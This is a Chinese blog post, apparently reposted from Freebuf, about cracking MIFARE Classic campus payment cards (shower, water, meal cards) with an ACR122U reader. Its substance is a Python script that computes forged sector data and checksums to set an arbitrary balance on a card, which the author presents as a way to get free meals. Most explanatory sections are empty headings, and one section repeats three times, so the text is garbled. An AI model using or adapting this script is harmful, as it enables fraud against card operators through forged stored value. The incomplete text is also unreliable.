破解 M1卡(洗澡卡、开水卡,健身卡,饭卡)等

M1卡(洗澡卡、开水卡,健身卡,饭卡)破解历程,学会这个今后还怕没饭吃?

又经过了一个寒假的纠结,终于决定入手了ACR122U,只是到手后机器看上去确实感觉比¥180要廉价,看图就明白了:


0×01密钥的获取&可行性分析

??楼上几位大牛的M1卡的密钥破解过程非常详细,我写不出那么细致的文字,就在此略过吧。??




0×02开水卡数据的分析


0×02 洗澡卡数据的分析














0×03 洗澡卡数据的伪造


0×04 交给电脑完成计算
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。??
??于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)??
??然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。??

0×04 交给电脑完成计算

这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。

于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)

然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。

0×04 交给电脑完成计算


这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。


于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)


然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。


第一次写python,for的用法还不熟,不会直接输出十六进制字符串,大牛们表喷,嘿嘿:


# coding: utf-8
A4 = A7 = A8 = A12 = A14 = "00"; A11 = "02";
a11 = 0x02;
a6 = 0x4b;
IDnM = raw_input("请输入学号与金额(例如:01 200):");
ID = IDnM [0:2];
Money = IDnM [3:]+"00";               #字符   
Decmoney = int(Money,10);             #十进制
Hexmoney = hex(Decmoney);              
a2 = int(Hexmoney[4:6],16);           #十六进制
a3 = int(Hexmoney[2:4],16);           #十六进制
a1 = a2 + a3;
a5 = a1 ^ 0xff;


if a1 > 0xff:                         #A1此时验证是否大于0xFF
  a10 = 0xfe;
  a15 = 0x2ff - a1 - a6 - a10;        #A15校验位
else:                                 #A1此时验证是否小于0xFF
  a10 = 0xec;
  a15 = 0x1ff - a1 - a6 - a10;        #A15校验位


a0 = a2 ^ a3 ^ a6 ^ a10 ^ a11;        #A0校验位
a9 = a10 + a11;
a13 = a9 ^ 0xff;


print ID, "号当前金额为",IDnM [3:],"元";
print "10扇区对应数据为:";
A0 = hex(a0)[len(hex(a0))-2:];
A1 = hex(a1)[len(hex(a1))-2:];
A2 = hex(a2)[len(hex(a2))-2:];
A3 = hex(a3)[len(hex(a3))-2:];
A5 = hex(a5)[len(hex(a5))-2:];
A6 = hex(a6)[len(hex(a6))-2:];
A9 = hex(a9)[len(hex(a9))-2:];
A10 = hex(a10)[len(hex(a10))-2:];
A11 = "02";
A13 = hex(a13)[len(hex(a13))-2:];
A15 = hex(a15)[len(hex(a15))-2:];
data = A0+A1+A2+A3+A4+A5+A6+A7+A8+A9+A10+A11+A12+A13+A14+A15;
data=data.replace("x","0").upper();
print data;


f = open("card.txt","w");              #将数据写入同目录下的data.txt
print >>f,data;
f.close();
raw_input("输入回车键退出");
输入01 600,得到数据





0×05 后记




[作者/坂田银时,来源 Freebuf]



评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值